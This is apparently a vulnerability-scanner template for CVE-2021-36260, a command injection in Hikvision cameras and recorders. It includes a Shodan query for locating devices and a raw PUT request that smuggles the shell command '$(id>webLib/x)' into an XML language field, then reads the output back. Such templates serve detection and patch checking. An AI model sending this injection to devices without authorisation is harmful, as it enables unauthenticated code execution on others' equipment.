47 lines
1.6 KiB
YAML
47 lines
1.6 KiB
YAML
id: CVE-2021-36260
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info:
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name: Hikvision IP camera/NVR - Unauthenticated RCE
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author: pdteam,gy741
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severity: critical
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description: A command injection vulnerability in the web server of some Hikvision product. Due to the insufficient input validation, attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands.
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reference:
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- https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
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- https://www.hikvision.com/en/support/cybersecurity/security-advisory/security-notification-command-injection-vulnerability-in-some-hikvision-products/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-36260
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- https://github.com/Aiminsun/CVE-2021-36260
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-36260
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cwe-id: CWE-77,CWE-20
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metadata:
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shodan-query: http.favicon.hash:999357577
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tags: cve,cve2021,hikvision,rce,iot,intrusive
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requests:
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- raw:
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- |
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PUT /SDK/webLanguage HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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<?xml version="1.0" encoding="UTF-8"?><language>$(id>webLib/x)</language>
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- |
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GET /x HTTP/1.1
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Host: {{Hostname}}
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req-condition: true
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matchers:
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- type: dsl
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dsl:
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- "contains(body_2,'uid=') && contains(body_2,'gid=')"
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- "status_code_1 == 500 && status_code_2 == 200"
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condition: and
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extractors:
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- type: regex
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regex:
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- "(u|g)id=.*"
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